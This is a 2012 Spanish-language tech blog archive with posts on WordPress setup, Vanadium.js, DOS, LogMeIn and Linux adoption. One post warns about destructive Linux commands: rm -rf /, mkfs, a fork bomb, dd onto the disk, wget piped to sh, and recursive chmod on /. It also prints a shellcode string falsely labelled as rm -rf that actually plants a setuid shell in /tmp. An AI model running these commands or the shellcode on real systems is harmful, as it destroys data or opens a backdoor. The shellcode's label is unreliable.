sábado, 29 de septiembre de 2012
Vanadium.js es una simple pero potente libreria javascript para validar formularios. Permite validar inputs ingresados por los usuarios en cada campo del formulario con tan sólo ingresar la clase a validar en el imput
Por ejemplo : Si quiero validar que en un input type="text" se ingrese sólo letras se debe agregar dentro de la etiqueta input:  class=':alpha'. Si quiero que ese input sea ademas requerido debo agregar: class= ': required :alpha'. Asì de sencillo.

Pero nada mejor que un video para explicar las posibilidades de vanadium.js:

Para que se pueda ejecutar , necesitamos que previamente esté cargado jquery-min.js en la página en que lo vamos a usar. Por defecto Vanadium. js funciona con jquery-1.3.2.min.js pero yo lo he provado con jquery-1.8.2.min.js y funciona excelente.

jueves, 27 de septiembre de 2012




Hace poco en mi país, en la Posta Central de Santiago, uno de los recintos de salud pública que más demanda recibe en la capital del país, una autoridad que se encontraba de visita por dicho recinto se molestó al ver a un trabajador de la Posta y que era la persona encargada de gestionar las atenciones de urgencia, jugando en el computador de su puesto de trabajo al "Solitario" en un momento en que había una alta cantidad de pacientes en la espera de ser atendidos. Cuento corto: Esto le costó el puesto al Director hasta ese entonces de la Posta Central.

Cabe decir que el computador en el cual se habría sorprendido al trabajador , tenía Sistema Operativo Windows, pero independiente del S.O que se tenga, una prioridad al momento de instalar un Sistema Operativo y una prioridad del área informática (o que debiera serlo) es que los computadores de los usuarios destinados para su uso en oficina, no debieran tener instalados juegos de ningún tipo. Lamentablemente Windows complica las cosas ya que si bien se pueden desinstalar los juegos que vienen por defecto tales como el Solitario, el Solitario Spider, Buscaminas y otros, los juegos que vienen como huevos de pascua , vale decir que forman parte de programas como Ms Excel, no pueden ser desinstalados.
Google tampoco contribuye mucho al respecto, ya que si bien se ha caracterizado por sus herramientas de productividad como Google Docs, los famosos "Doodles" también han constituído una fuente de distracción y pérdida de productividad. Uno de los Doodles mas famosos fue el que la compañía le dedicó al famoso juego ochentero "Pacman" en el cual cambiaron la forma de los laberintos para formar la palabra Google. 

Facebook de por sí, como red social, ya es otro factor de pérdida de productividad, el cual se amplifica al incorporar juegos. Aunque una política de bloqueo sería efectiva en dicho caso, si se considera que esta red social no es relevante para los objetivos perseguidos por la empresa, ya que hay muchas empresas que se promocionan a través de esta plataforma.

Si bien, a pesar de que el empleado "sacavueltas" siempre encontrará la forma de hacer el quite a la labor productiva, con una simple medida como esta se reducirían las pérdidas de productividad en empresas públicas y privadas. Hay muchos que poseen un smartphone ( y esto es una tendencia que esta "in crescendo") y que se dedican a  jugar en su smartphone , y uno de los juegos que mas pérdidas de horas laborales ha ocasionado es justamente Angry Birds.

En fin, parece que cualquier medida que se tome, nunca va a ser suficiente por si sola , si no hay la creación de una cultura de trabajo al interior de la empresa, orientada a la calidad y la excelencia.

fuentes

miércoles, 26 de septiembre de 2012


Paso 1: Todos sabemos que Wordpress es uno de los CMS mas conocidos para editar blogs. La instalación es sencilla: Una vez que descargamos el archivo comprimido de su sitio web, y lo descomprimimos, al acceder a la carpeta mediante el navegador y con el servidor Apache en funcionamiento, nos aparecerá el siguiente mensaje:



Nos indica que no hay un archivo de configuración, por lo cual pulsamos el botón "Crear archivo de configuración" con lo cual creará dicho archivo.

Paso 2 : Acá ya comenzamos con el proceso de instalación como tal , y wordpress nos informa que necesitará una serie de parámetros que wordpress necesita para la instalación: Nombre de la base de datos que usará Wordpress, nombre de usuario de la base de datos, contraseña, host de la base de datos y prefijo de tabla. Antes será necesario crear previamente  una base de datos vacía en Mysql/MariaDB/Percona Server llamada 'wordpress' por ejemplo, para continuar con la instalación , ya que de lo contrario no podremos instalar el CMS. Una vez hecho esto pulsamos el botón "vamos a esto".


Paso 3 : Como pueden ver en la imagen superior , en este paso debemos ingresar el nombre de la base de datos , el del usuario de Mysql, la contraseña para conectar a Mysql, el host de la base de datos y el prefijo de tabla.

Paso 4 : Una vez completados los parámetros anteriores , pulsamos "Iniciar la instalación".

Paso 5: Un último paso es entregar los datos del sitio y los datos del usuario de wordpress.


Paso 6 : Una vez terminada la instalación, accedemos a la página wp-login.php con el usuario y contraseña

Paso 7: Arriba se muestra  el panel del control de Wordpress, al que accedemos una vez logueados. A estas alturas ya podemos trabajar con wordpress .

domingo, 23 de septiembre de 2012


Acabo de leer dos post de la bitácora de Javier Gutierrez Chamorro, sobre el PC-DOS y las varias versiones del Disk Operating System. Me entra un poco de nostalgia, ya que cuando cursaba Técnico en Programación conocí el MS-DOS 6.22. y los múltiples trucos que se podían hacer con este sistema que no ofrecía soporte para las particiones FAT32.

Aunque los diversos sistemas operativos tipo DOS, ya se podrían considerarse obsoletos y que no tiene mucho sentido instalarlos en Hardware actual. Hace poco me tocó ver una empresa que ofrece outsourcing a una entidad bancaria de mi país Chile, y me tocó ver que, por ejemplo, que las terminales de consulta de esa entidad operan con IBM PC-DOS 7.0, conectada a un display con botones, que es lo que observa el usuario. Años atrás cuando trabajaba en una empresa de Supermercados, los equipos destinados a la emisión de facturas operaban bajo MS.DOS, las tarjetas de red tenían que ser NDIS compatibles, y para que hubiera conexión con el servidor, aparte de estar cargado el driver correspondiente a la tarjeta de Red se empleaba un programa denominado "kermit" para conectar via telnet al servidor, y toda esta conexión se gestionaba en el autoexec.bat. Asimismo los  TPV  de la cadena de supermercados inicialmente se manejaban bajo MS-DOS,y una cadena de supermercados de venta por mayor( que también era parte de la empresa donde trabajaba) tenía un servidor NOVELL 5.2, el cual corría por debajo MS-DOS 6.22( para instalar Novell primero había que instalar MS-DOS o compatible) todo esto hasta que se inició un plan de cambio de sistemas en la empresa a nivel general y los equipos que corrían dichos sistemas, se evaluó si podían correr Windows XP, en caso contrario se les dio de baja.

En definitiva, mas que por el sistema operativo en si, se echa un poco de menos la cantidad de aplicaciones que se podían correr: Turbo Pascal, Turbo C, MS- Basic, Qedit (un viejo editor de texto para programadores) algunos juegos que se ejecutaban mediante extensores de memoria, que permitían usar los bloques de memoria XMS (recordemos que MS-DOS se ejecutaba con 686 kb los que se podían extender a 1 MB, y estas aplicaciones permitían ocupar toda la memoria disponible en el equipo ). 

En resumen, al parecer aún quedan algunos nichos reducidos para los sistemas operativos DOS.

ver :

sábado, 22 de septiembre de 2012



Reaparezco después de una prolongada ausencia, debido a una gripe y una alergia que me 

tuvieron a mal traer. Es por esa y otras razones que detesto la primavera.

Pero, volviendo a lo nuestro, descubrí un excelente framework para crear sitios web flexibles adaptables. Zurb ha lanzado la versión 2.0 de Foundation, un framework de desarrollo que permitirá a los desarrollares web la creación de sitios web preparados visualizarse en cualquier tamaño de pantalla de cualquier dispositivo.
Este framework de CSS y Javascript cuenta con cuadrículas en la que ajustar los diseños web, botones, formularios, plantillas, etc, para que puedan empezar con desarrollos compatibles con los tamaños de pantallas de cualquier dispositivo, utilizando las últimas tecnologías web existentes.
Para que se puedan hacer una idea, ZURB tiene puesto a Soapbox  como demostración, donde se puede acceder y variar el tamaño del navegador, adaptándose la página a los nuevos tamaños.
sábado, 8 de septiembre de 2012

En mi experiencia como informático, me ha tocado manejar varios programas de Control Remoto de Equipos, desde PcAnywhere , pasando por el Escritorio Remoto de Windows , hasta VNC . Sin embargo esto es algo que puede sorprenderlos.

LogMein es una aplicación servidora de escritorio, la cual permite controlar un equipo que tenga instalada la aplicación desde una interfaz web, si el equipo está conectado a Internet, y cuenta con la aplicación LogMeIn instalada y ejecutándose.

LogMeIn viene en dos versiones : trial y Pro, la versión trial tiene una duración de 30 días con algunas utilerías básicas como control remoto y transferencia de archivos. La versión Pro es mas completa. 


Arriba muestro una imagen de una captura de pantalla, de la interfaz web mediante la cual controlo mi equipo pc de escritorio. Para poder descargar el programa debemos primero crearnois una cuneta en el sitio de LogMeIn, y una vez activada la cuenta podemos descargar e instalar el programa en el equipo que queremos controlar ,. Tras unas pocas configuraciones, podremos acceder a nuestro equipo desde Internet, sin instalar ningún cliente de por medio, sólo accediendo mediante el sitio de LogMeIN y mediante nuestra cuenta ya creada.






Vuelvo a postear, recuperándome de una gripe que me ha tenido a mal traer por estos días.

Hace pocos días atrás Miguel de Icaza, ex-empleado de Microsoft,  fundador de Ximian, creador de la plataforma de programación .Mono y creador de Gnome, señaló que Linux en el pc de escritorio había muerto debido a la filosofía y forma de hacer las cosas mediante la cual se ha desarrollado GNU/Linux. Estas declaraciones motivaron las airadas reacciones de gente importante de la Comunidad GNU/Linux entre ellas Linus Torvalds y Alan Cox.

Pero, mas allá de las declaraciones de Icaza, lo cierto es que en GNU/Linux tenemos mas opciones de escritorio, no sólo GNOME, tenemos KDE, XFCE, Enlightment entre otras. El asunto de porque GNU/Linux sólo está en menos del 1% de los pc's de escritorio en el mundo, va por otros cauces:

1) Microsoft ha tenido por mucho tiempo un público cautivo: Microsoft ha llevado mucho mas tiempo en el escritorio de los usuarios primero con MS-DOS y luego con las sucesivas versiones de Windows. Esto unido a otras políticas no tan sanctas como por ejemplo. obligar a fabricantes de computadores a que vendan sus equipos con windows preinstalado, impedir por todos los medios posibles la instalación de otro sistema operativo en el computador (Esto no sólo ha pasado con GNU/Linux, de hecho en Windows 3.11 se dice que Bill Gates ordenó introducir  un virus que impedía al usuario instalar PC-DOS).

2) GNU/Linux no es para los juegos mas populares:  Si bien los fabricantes de videojuegos se han dedicado mas a crear versiones para consolas de juegos, hay que considerar que todavía hay un número importante de juegos que se venden para pc, y la mayoría de ellos están hechos para ser instalados en Windows. El uso de DirectX como plataforma en desmedro de otros estándares como OpenGL ha mermado la posibilidad de ejecución de éstos en GNU/Linux . Si bien existen opciones como ejecutarlos bajo Wine o CrossOver, en muchos casos la configuración que se debe llevar a cabo para una correcta ejecución es tan compleja que desalienta al mas entusiasta, sin mencionar los consumos de memoria y capacidad de procesamiento. Existen varios fabricantes que han lanzado juegos nativos para GNU/Linux , estos no gozan de la popularidad que tienen los hechos para Windows.

3) Aplicaciones no son tan poderosas como las comerciales: Si bien las aplicaciones en GNU/Linux han tenido un notable avance, todavía tienen  problemas para lograr un comportamiento 100% similar a las comerciales , por ejemplo GIMP v/s Photoshop si bien GIMP ha evolucionado bastante como editor de imágenes, hay algunas cosas en las cuales queda por detrás de la suite comercial. Tal vez el que los programas libres no sean tan completos como los propietarios, se deba al asunto de patentes de software

4) multiplicidad de distribuciones: La diversidad de opciones , es otro aspecto que tal vez juegue en contra, Christian Schaller , otro desarrollador de GNOME  apuntó en su blog que GNU/Linux no cuenta con un único sistema de distribución de paquetes en específico, sino que hay uno para cada distribución. Y que los ciclos de distribución entre cada distribución varían notablemente.


Sin embargo, a pesar de todo GNU/Linux ha mantenido presencia imperante en el área de servidores, y actualmente Android tiene un importante cuota de mercado en tablets y smartphones. Android usa el kernel Linux, con lo que podemos darnos una idea que no todo es computadores,notebooks y netbooks


sábado, 1 de septiembre de 2012




Todos los que conocemos GNU/Linux  sabemos que con la cuenta de root podemos hacer muchas maravillas así como grandes desastres, y es por eso que muchas distribuciones limitan el acceso a esta cuenta o incorporan shells adicionales para modificar cambios peligrosos en el sistema.

Existe una serie de comandos que han ganado fama por su capacidad de daño:

1) Eliminar casi todo

# rm -rf /

Al ejecutar este comando se borraran casi todos los archivos de sistema(salvo los archivos de procesos en la carpeta /proc

versión hexadecimal:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

 2)Formateo del sistema

# mkfs.ext3 /dev/sda

Formatea el disco o dispositivo sda , con la desaparición de todos los archivos presentes en él

3) Bomba Fork


Una bomba fork es una forma de ataque del tipo DoS (causa que un servicio o recurso sea inaccesible a los usuarios) que implementa la operación fork (creación de una copia de sí mismo), o alguna funcionalidad equivalente mediante la cual un proceso es capaz de crear otro proceso.

Resumiendo, una bomba fork es un proceso que se copia a si mismo muchas veces para colapsar tu sistema. Y aclarando falsos mitos, no es una bomba lógica, ni tampoco un fallo del kernel, ni mucho menos se trata de algo liberado por uno de los programadores del kernel.

:(){:|:&};:
 
Aunque puede tener varias, como por ejemplo:

$ ubunteate(){ ubunteate|ubunteate& };ubunteate

Pero tal cosa podemos prevenirla, editando el archivo adecuado:

$ sudo gedit /etc/security/limits.conf

Ahora localizaremos, al final del archivo, la siguiente línea:

# End of file

Pues justo encima de esa, podemos introducir la siguiente línea:

* hard nproc 1000

Quedando así las dos últimas líneas del archivo:

* hard nproc 1000
# End of file

Guardamos y cerramos el archivo y listo.

4) Colapsar el Sistema de Archivos

 Si ejecutamos:

# cualquier-comando > /dev/sda

Como por ejemplo:

# ls > /dev/sda

Con este comando, se envían bloques de datos al dispositivo indicado, lo cual a menudo puede colapsar el sistema de archivos, dando como resultado una perdida total de datos.


5) Ejecutar un script de forma automática

En algunos foros linuxeros nos dicen que descarguemos un script con el siguiente código:

$ wget http://web.com/script.sh O | sh

O peor aún, como root:

# wget http://web.com/script.sh O | sh

lo que hace este comando es descargar y ejecutar inmediatemente el script. Imaginense si uno de esos scripts contiene uno de los comandos que explico acá
uds. tendrían su sistema GNU/Linux, MacosX o cualquier derivado de UNIX ya destruído. Recomiendo sólo descargar el código y examinarlo antes de ejecutarlo y obtenerlo sólo de fuentes confiables.

6)Mover un archivo

EL comando mv sirve para cambiar la ubicación de un archivo

$ mv directorio-o-archivo-a-mover directorio-al-que-mover

Como por ejemplo:

$ mv ~/script.sh ~/Documentos

Pero debes evitar que el directorio destino  sea /dev/null, pues es un directorio inexistente, y jamás podrás obtener de nuevo esos archivos, por ejemplo:

$ mv ~/script.sh /dev/null

Eso hará desaparecer para siempre el script. Pero aún es peor si ejecutas, por ejemplo:

$ mv ~ /dev/null

Lo cual eliminará para siempre tu carpeta de usuario, con tus imágenes, vídeos, música, documentos, etc. Podemos comprobar la no existencia de ese directorio, vayamos primero al directorio /dev, el cual, supuestamente aloja null.:

$ cd /dev

Lo cual no genera ningún problema, y vamos a buscar ahora null:

$ ls

Lista demasiado grande para ponerse a buscar, mejor facilitarnos la vida:

$ ls | grep null


Si nos devuelve null, que lo hará, es que existe, pero eso no nos confirma que sea una carpeta, para ello utilizaremos:

$ ls -d

Que solo nos mostrará las carpetas, aunque también podemos filtrarlo por la palabra null:

$ ls -d | grep null

Y no les devolverá nada, porque no ha encontrado null como carpeta. Aún puedes probar:

$ cd null

Y nos dirá que no es un directorio. Por lo tanto, fijarse bien cuando se mueva algo.

7) Rellenar el Disco Duro

 También disponemos de un comando en Linux:

# dd if=/dev/urandom of=/dev/sda

Que simplemente rellena con datos aleatorios todo el espacio vacío en el disco duro, lo cual, como podemos imaginar, genera un caos tremendo en el sistema.

8) Te doy permiso para lo que quieras

También debemos de tener cuidado a la hora de dar permisos a los directorios y a las carpetas, como por ejemplo:

# chmod -R 777 /

Este comando da permisos totales a todos los directorios del sistema, ya que el comando chmod es el encargado de dar permisos, la opción R da permiso a todo lo contenido en el directorio, 777 es el mayor permiso posible, realmente inseguro y, la barrita, como dijimos anteriormente, es todo el sistema. Esto daría permiso a cualquier agente de hacer lo que sea con tu sistema, cuidado con el trío de los 7 y dónde los aplicas.

9) Te quito todos los permisos

# chmod -R -777 /

Este comando es el inverso del anterior , quita todos los permisos a todos los usuarios
y al ejecutarlo lo que tendrán será un hermoso  signo ">" como shell y no podrán realizar nada. Este error lo cometió un ex-jefe mío en la empresa de Supermercados en la que yo trabajaba : en vez de denegar permisos a una carpeta específica , durante la instalación del Sistema de Ventas, denegó el acceso a la raíz y esto lo hizo en aquellos años en un servidor con Red Hat 9, llevándose consigo las "felicitaciones" del Sub-Gerente de Informática.

Pero yendo de nuevo al tema, otra variante es  la de los tres ceros:

# chmod -R 000 /

Similar a la anterior elimina todos los accesos privilegiados a los usuarios en el sistema


Fuente:


Se ha producido un error en este gadget.

segunda mano

Blog Flux

Computers Blog Directory

BlogUpp!

Directorio de Blogs

Directorio de Blogs

About Me

Mi foto
Patricio Morales

Ingeniero de Ejecución en Informática y Técnico en Electrónica Industrial con amplia experiencia en el área de Soporte Técnico Computacional. Entre mis antecedentes destacan: Haber trabajado como Soporte Técnico por 4 años desde 2003 hasta 2007 para Empresas Bravo CAS LTDA, que en aquel entonces ofrecía soporte administrativo para las Cadenas de Supermercados BRYC (hoy Unimarc), Mayorista 10,además de Abarrotes CD(Distribuidora) y Maspan S.A(Panificadora). En 2008 trabajé como Soporte Técnico para un contratista de SONDA S.A., tiempo en el cual me correspondió atender a varias empresas de carácter regional y nacional. Desde el 2009 trabajo como Coordinador de Informática para el Departamento de Educación(DAEM) de la I. Municipalidad de Temuco. Además he trabajado de forma particular, realizando diversos trabajos en el área de Soporte Informático y en el área de relatorías para particulares y empresas.

En lo personal, me considero una persona que le gusta algo nuevo cada día, investigar sobre varios temas, que no tengan que ver con la informática y la electrónica (hay vida mas allá de los bits).

Ver todo mi perfil

Seguidores

contador de visitas

View My Stats